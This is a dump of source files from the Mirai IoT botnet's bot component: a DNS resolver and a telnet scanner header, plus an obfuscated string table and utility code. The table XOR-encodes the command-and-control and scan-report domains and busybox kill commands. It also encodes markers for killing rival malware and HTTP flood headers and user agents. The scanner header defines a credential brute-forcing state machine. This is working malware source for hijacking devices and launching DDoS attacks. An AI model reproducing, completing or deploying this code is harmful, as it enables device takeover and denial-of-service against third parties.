/mirai/bot/rand.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #define PHI 0x9e3779b9 6 | 7 | void rand_init(void); 8 | uint32_t rand_next(void); 9 | void rand_str(char *, int); 10 | void rand_alphastr(uint8_t *, int); 11 | -------------------------------------------------------------------------------- /mirai/bot/resolv.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "includes.h" 16 | #include "resolv.h" 17 | #include "util.h" 18 | #include "rand.h" 19 | #include "protocol.h" 20 | 21 | void resolv_domain_to_hostname(char *dst_hostname, char *src_domain) 22 | { 23 | int len = util_strlen(src_domain) + 1; 24 | char *lbl = dst_hostname, *dst_pos = dst_hostname + 1; 25 | uint8_t curr_len = 0; 26 | 27 | while (len-- > 0) 28 | { 29 | char c = *src_domain++; 30 | 31 | if (c == '.' || c == 0) 32 | { 33 | *lbl = curr_len; 34 | lbl = dst_pos++; 35 | curr_len = 0; 36 | } 37 | else 38 | { 39 | curr_len++; 40 | *dst_pos++ = c; 41 | } 42 | } 43 | *dst_pos = 0; 44 | } 45 | 46 | static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count) 47 | { 48 | unsigned int jumped = 0, offset; 49 | *count = 1; 50 | while(*reader != 0) 51 | { 52 | if(*reader >= 192) 53 | { 54 | offset = (*reader)*256 + *(reader+1) - 49152; 55 | reader = buffer + offset - 1; 56 | jumped = 1; 57 | } 58 | reader = reader+1; 59 | if(jumped == 0) 60 | *count = *count + 1; 61 | } 62 | 63 | if(jumped == 1) 64 | *count = *count + 1; 65 | } 66 | 67 | struct resolv_entries *resolv_lookup(char *domain) 68 | { 69 | struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries)); 70 | char query[2048], response[2048]; 71 | struct dnshdr *dnsh = (struct dnshdr *)query; 72 | char *qname = (char *)(dnsh + 1); 73 | 74 | resolv_domain_to_hostname(qname, domain); 75 | 76 | struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1); 77 | struct sockaddr_in addr = {0}; 78 | int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question); 79 | int tries = 0, fd = -1, i = 0; 80 | uint16_t dns_id = rand_next() % 0xffff; 81 | 82 | util_zero(&addr, sizeof (struct sockaddr_in)); 83 | addr.sin_family = AF_INET; 84 | addr.sin_addr.s_addr = INET_ADDR(8,8,8,8); 85 | addr.sin_port = htons(53); 86 | 87 | // Set up the dns query 88 | dnsh->id = dns_id; 89 | dnsh->opts = htons(1 << 8); // Recursion desired 90 | dnsh->qdcount = htons(1); 91 | dnst->qtype = htons(PROTO_DNS_QTYPE_A); 92 | dnst->qclass = htons(PROTO_DNS_QCLASS_IP); 93 | 94 | while (tries++ < 5) 95 | { 96 | fd_set fdset; 97 | struct timeval timeo; 98 | int nfds; 99 | 100 | if (fd != -1) 101 | close(fd); 102 | if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) 103 | { 104 | #ifdef DEBUG 105 | printf("[resolv] Failed to create socket\n"); 106 | #endif 107 | sleep(1); 108 | continue; 109 | } 110 | 111 | if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) 112 | { 113 | #ifdef DEBUG 114 | printf("[resolv] Failed to call connect on udp socket\n"); 115 | #endif 116 | sleep(1); 117 | continue; 118 | } 119 | 120 | if (send(fd, query, query_len, MSG_NOSIGNAL) == -1) 121 | { 122 | #ifdef DEBUG 123 | printf("[resolv] Failed to send packet: %d\n", errno); 124 | #endif 125 | sleep(1); 126 | continue; 127 | } 128 | 129 | fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0)); 130 | FD_ZERO(&fdset); 131 | FD_SET(fd, &fdset); 132 | 133 | timeo.tv_sec = 5; 134 | timeo.tv_usec = 0; 135 | nfds = select(fd + 1, &fdset, NULL, NULL, &timeo); 136 | 137 | if (nfds == -1) 138 | { 139 | #ifdef DEBUG 140 | printf("[resolv] select() failed\n"); 141 | #endif 142 | break; 143 | } 144 | else if (nfds == 0) 145 | { 146 | #ifdef DEBUG 147 | printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies"); 148 | #endif 149 | continue; 150 | } 151 | else if (FD_ISSET(fd, &fdset)) 152 | { 153 | #ifdef DEBUG 154 | printf("[resolv] Got response from select\n"); 155 | #endif 156 | int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL); 157 | char *name; 158 | struct dnsans *dnsa; 159 | uint16_t ancount; 160 | int stop; 161 | 162 | if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question))) 163 | continue; 164 | 165 | dnsh = (struct dnshdr *)response; 166 | qname = (char *)(dnsh + 1); 167 | dnst = (struct dns_question *)(qname + util_strlen(qname) + 1); 168 | name = (char *)(dnst + 1); 169 | 170 | if (dnsh->id != dns_id) 171 | continue; 172 | if (dnsh->ancount == 0) 173 | continue; 174 | 175 | ancount = ntohs(dnsh->ancount); 176 | while (ancount-- > 0) 177 | { 178 | struct dns_resource *r_data = NULL; 179 | 180 | resolv_skip_name(name, response, &stop); 181 | name = name + stop; 182 | 183 | r_data = (struct dns_resource *)name; 184 | name = name + sizeof(struct dns_resource); 185 | 186 | if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP)) 187 | { 188 | if (ntohs(r_data->data_len) == 4) 189 | { 190 | uint32_t *p; 191 | uint8_t tmp_buf[4]; 192 | for(i = 0; i < 4; i++) 193 | tmp_buf[i] = name[i]; 194 | 195 | p = (uint32_t *)tmp_buf; 196 | 197 | entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t)); 198 | entries->addrs[entries->addrs_len++] = (*p); 199 | #ifdef DEBUG 200 | printf("[resolv] Found IP address: %08x\n", (*p)); 201 | #endif 202 | } 203 | 204 | name = name + ntohs(r_data->data_len); 205 | } else { 206 | resolv_skip_name(name, response, &stop); 207 | name = name + stop; 208 | } 209 | } 210 | } 211 | 212 | break; 213 | } 214 | 215 | close(fd); 216 | 217 | #ifdef DEBUG 218 | printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len); 219 | #endif 220 | 221 | if (entries->addrs_len > 0) 222 | return entries; 223 | else 224 | { 225 | resolv_entries_free(entries); 226 | return NULL; 227 | } 228 | } 229 | 230 | void resolv_entries_free(struct resolv_entries *entries) 231 | { 232 | if (entries == NULL) 233 | return; 234 | if (entries->addrs != NULL) 235 | free(entries->addrs); 236 | free(entries); 237 | } 238 | -------------------------------------------------------------------------------- /mirai/bot/resolv.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "includes.h" 4 | 5 | struct resolv_entries { 6 | uint8_t addrs_len; 7 | ipv4_t *addrs; 8 | }; 9 | 10 | void resolv_domain_to_hostname(char *, char *); 11 | struct resolv_entries *resolv_lookup(char *); 12 | void resolv_entries_free(struct resolv_entries *); 13 | -------------------------------------------------------------------------------- /mirai/bot/scanner.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include "includes.h" 6 | 7 | #ifdef DEBUG 8 | #define SCANNER_MAX_CONNS 128 9 | #define SCANNER_RAW_PPS 160 10 | #else 11 | #define SCANNER_MAX_CONNS 128 12 | #define SCANNER_RAW_PPS 160 13 | #endif 14 | 15 | #define SCANNER_RDBUF_SIZE 256 16 | #define SCANNER_HACK_DRAIN 64 17 | 18 | struct scanner_auth { 19 | char *username; 20 | char *password; 21 | uint16_t weight_min, weight_max; 22 | uint8_t username_len, password_len; 23 | }; 24 | 25 | struct scanner_connection { 26 | struct scanner_auth *auth; 27 | int fd, last_recv; 28 | enum { 29 | SC_CLOSED, 30 | SC_CONNECTING, 31 | SC_HANDLE_IACS, 32 | SC_WAITING_USERNAME, 33 | SC_WAITING_PASSWORD, 34 | SC_WAITING_PASSWD_RESP, 35 | SC_WAITING_ENABLE_RESP, 36 | SC_WAITING_SYSTEM_RESP, 37 | SC_WAITING_SHELL_RESP, 38 | SC_WAITING_SH_RESP, 39 | SC_WAITING_TOKEN_RESP 40 | } state; 41 | ipv4_t dst_addr; 42 | uint16_t dst_port; 43 | int rdbuf_pos; 44 | char rdbuf[SCANNER_RDBUF_SIZE]; 45 | uint8_t tries; 46 | }; 47 | 48 | void scanner_init(); 49 | void scanner_kill(void); 50 | 51 | static void setup_connection(struct scanner_connection *); 52 | static ipv4_t get_random_ip(void); 53 | 54 | static int consume_iacs(struct scanner_connection *); 55 | static int consume_any_prompt(struct scanner_connection *); 56 | static int consume_user_prompt(struct scanner_connection *); 57 | static int consume_pass_prompt(struct scanner_connection *); 58 | static int consume_resp_prompt(struct scanner_connection *); 59 | 60 | static void add_auth_entry(char *, char *, uint16_t); 61 | static struct scanner_auth *random_auth_entry(void); 62 | static void report_working(ipv4_t, uint16_t, struct scanner_auth *); 63 | static char *deobf(char *, int *); 64 | static BOOL can_consume(struct scanner_connection *, uint8_t *, int); 65 | -------------------------------------------------------------------------------- /mirai/bot/table.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | 9 | #include "includes.h" 10 | #include "table.h" 11 | #include "util.h" 12 | 13 | uint32_t table_key = 0xdeadbeef; 14 | struct table_value table[TABLE_MAX_KEYS]; 15 | 16 | void table_init(void) 17 | { 18 | add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com 19 | add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23 20 | 21 | add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com 22 | add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101 23 | 24 | add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15); 25 | 26 | // safe string https://youtu.be/dQw4w9WgXcQ 27 | add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29); 28 | add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7); 29 | add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5); 30 | add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11); 31 | add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4); 32 | add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7); 33 | add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8); 34 | add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13); 35 | add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10); 36 | add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10); 37 | add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33); 38 | add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8); 39 | add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11); 40 | 41 | add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6); 42 | add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7); 43 | add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7); 44 | add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3); 45 | add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19); 46 | add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24); 47 | add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9); 48 | add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16); 49 | add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22); 50 | 51 | add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21); 52 | add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17); 53 | add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12); 54 | 55 | add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23); 56 | add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83); 57 | add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32); 58 | add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48); 59 | add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12); 60 | add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9); 61 | add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10); 62 | add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12); 63 | add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16); 64 | add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19); 65 | add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8); 66 | add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11); 67 | add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12); 68 | add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18); 69 | add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25); 70 | 71 | add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); 72 | add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); 73 | add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); 74 | add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); 75 | add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117); 76 | } 77 | 78 | void table_unlock_val(uint8_t id) 79 | { 80 | struct table_value *val = &table[id]; 81 | 82 | #ifdef DEBUG 83 | if (!val->locked) 84 | { 85 | printf("[table] Tried to double-unlock value %d\n", id); 86 | return; 87 | } 88 | #endif 89 | 90 | toggle_obf(id); 91 | } 92 | 93 | void table_lock_val(uint8_t id) 94 | { 95 | struct table_value *val = &table[id]; 96 | 97 | #ifdef DEBUG 98 | if (val->locked) 99 | { 100 | printf("[table] Tried to double-lock value\n"); 101 | return; 102 | } 103 | #endif 104 | 105 | toggle_obf(id); 106 | } 107 | 108 | char *table_retrieve_val(int id, int *len) 109 | { 110 | struct table_value *val = &table[id]; 111 | 112 | #ifdef DEBUG 113 | if (val->locked) 114 | { 115 | printf("[table] Tried to access table.%d but it is locked\n", id); 116 | return NULL; 117 | } 118 | #endif 119 | 120 | if (len != NULL) 121 | *len = (int)val->val_len; 122 | return val->val; 123 | } 124 | 125 | static void add_entry(uint8_t id, char *buf, int buf_len) 126 | { 127 | char *cpy = malloc(buf_len); 128 | 129 | util_memcpy(cpy, buf, buf_len); 130 | 131 | table[id].val = cpy; 132 | table[id].val_len = (uint16_t)buf_len; 133 | #ifdef DEBUG 134 | table[id].locked = TRUE; 135 | #endif 136 | } 137 | 138 | static void toggle_obf(uint8_t id) 139 | { 140 | int i; 141 | struct table_value *val = &table[id]; 142 | uint8_t k1 = table_key & 0xff, 143 | k2 = (table_key >> 8) & 0xff, 144 | k3 = (table_key >> 16) & 0xff, 145 | k4 = (table_key >> 24) & 0xff; 146 | 147 | for (i = 0; i < val->val_len; i++) 148 | { 149 | val->val[i] ^= k1; 150 | val->val[i] ^= k2; 151 | val->val[i] ^= k3; 152 | val->val[i] ^= k4; 153 | } 154 | 155 | #ifdef DEBUG 156 | val->locked = !val->locked; 157 | #endif 158 | } 159 | -------------------------------------------------------------------------------- /mirai/bot/table.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "includes.h" 5 | 6 | struct table_value { 7 | char *val; 8 | uint16_t val_len; 9 | #ifdef DEBUG 10 | BOOL locked; 11 | #endif 12 | }; 13 | 14 | /* Generic bot info */ 15 | #define TABLE_PROCESS_ARGV 1 16 | #define TABLE_EXEC_SUCCESS 2 17 | #define TABLE_CNC_DOMAIN 3 18 | #define TABLE_CNC_PORT 4 19 | 20 | /* Killer data */ 21 | #define TABLE_KILLER_SAFE 5 22 | #define TABLE_KILLER_PROC 6 23 | #define TABLE_KILLER_EXE 7 24 | #define TABLE_KILLER_DELETED 8 /* " (deleted)" */ 25 | #define TABLE_KILLER_FD 9 /* "/fd" */ 26 | #define TABLE_KILLER_ANIME 10 /* .anime */ 27 | #define TABLE_KILLER_STATUS 11 28 | #define TABLE_MEM_QBOT 12 29 | #define TABLE_MEM_QBOT2 13 30 | #define TABLE_MEM_QBOT3 14 31 | #define TABLE_MEM_UPX 15 32 | #define TABLE_MEM_ZOLLARD 16 33 | #define TABLE_MEM_REMAITEN 17 34 | 35 | /* Scanner data */ 36 | #define TABLE_SCAN_CB_DOMAIN 18 /* domain to connect to */ 37 | #define TABLE_SCAN_CB_PORT 19 /* Port to connect to */ 38 | #define TABLE_SCAN_SHELL 20 /* 'shell' to enable shell access */ 39 | #define TABLE_SCAN_ENABLE 21 /* 'enable' to enable shell access */ 40 | #define TABLE_SCAN_SYSTEM 22 /* 'system' to enable shell access */ 41 | #define TABLE_SCAN_SH 23 /* 'sh' to enable shell access */ 42 | #define TABLE_SCAN_QUERY 24 /* echo hex string to verify login */ 43 | #define TABLE_SCAN_RESP 25 /* utf8 version of query string */ 44 | #define TABLE_SCAN_NCORRECT 26 /* 'ncorrect' to fast-check for invalid password */ 45 | #define TABLE_SCAN_PS 27 /* "/bin/busybox ps" */ 46 | #define TABLE_SCAN_KILL_9 28 /* "/bin/busybox kill -9 " */ 47 | 48 | /* Attack strings */ 49 | #define TABLE_ATK_VSE 29 /* TSource Engine Query */ 50 | #define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */ 51 | #define TABLE_ATK_NSERV 31 /* "nameserver " */ 52 | 53 | #define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */ 54 | #define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */ 55 | #define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8" 56 | #define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded" 57 | #define TABLE_ATK_SET_COOKIE 36 // "setCookie('" 58 | #define TABLE_ATK_REFRESH_HDR 37 // "refresh:" 59 | #define TABLE_ATK_LOCATION_HDR 38 // "location:" 60 | #define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:" 61 | #define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:" 62 | #define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:" 63 | #define TABLE_ATK_CHUNKED 42 // "chunked" 64 | #define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive" 65 | #define TABLE_ATK_CONNECTION_HDR 44 // "connection:" 66 | #define TABLE_ATK_DOSARREST 45 // "server: dosarrest" 67 | #define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx" 68 | 69 | /* User agent strings */ 70 | #define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */ 71 | #define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */ 72 | #define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */ 73 | #define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */ 74 | #define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */ 75 | 76 | #define TABLE_MAX_KEYS 52 /* Highest value + 1 */ 77 | 78 | void table_init(void); 79 | void table_unlock_val(uint8_t); 80 | void table_lock_val(uint8_t); 81 | char *table_retrieve_val(int, int *); 82 | 83 | static void add_entry(uint8_t, char *, int); 84 | static void toggle_obf(uint8_t); 85 | -------------------------------------------------------------------------------- /mirai/bot/util.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #ifdef DEBUG 4 | #include 5 | #endif 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "includes.h" 18 | #include "util.h" 19 | #include "table.h" 20 | 21 | int util_strlen(char *str) 22 | { 23 | int c = 0; 24 | 25 | while (*str++ != 0) 26 | c++; 27 | return c; 28 | } 29 | 30 | 31 | BOOL util_strncmp(char *str1, char *str2, int len) 32 | { 33 | int l1 = util_strlen(str1), l2 = util_strlen(str2); 34 | 35 | if (l1 < len || l2 < len) 36 | return FALSE; 37 | 38 | while (len--) 39 | { 40 | if (*str1++ != *str2++) 41 | return FALSE; 42 | } 43 | 44 | return TRUE; 45 | } 46 | 47 | BOOL util_strcmp(char *str1, char *str2) 48 | { 49 | int l1 = util_strlen(str1), l2 = util_strlen(str2); 50 | 51 | if (l1 != l2) 52 | return FALSE; 53 | 54 | while (l1--) 55 | { 56 | if (*str1++ != *str2++) 57 | return FALSE; 58 | } 59 | 60 | return TRUE; 61 | } 62 | 63 | int util_strcpy(char *dst, char *src) 64 | { 65 | int l = util_strlen(src); 66 | 67 | util_memcpy(dst, src, l + 1); 68 | 69 | return l; 70 | } 71 | 72 | void util_memcpy(void *dst, void *src, int len) 73 | { 74 | char *r_dst = (char *)dst; 75 | char *r_src = (char *)src; 76 | while (len--) 77 | *r_dst++ = *r_src++; 78 | } 79 | 80 | void util_zero(void *buf, int len) 81 | { 82 | char *zero = buf; 83 | while (len--) 84 | *zero++ = 0; 85 | } 86 | 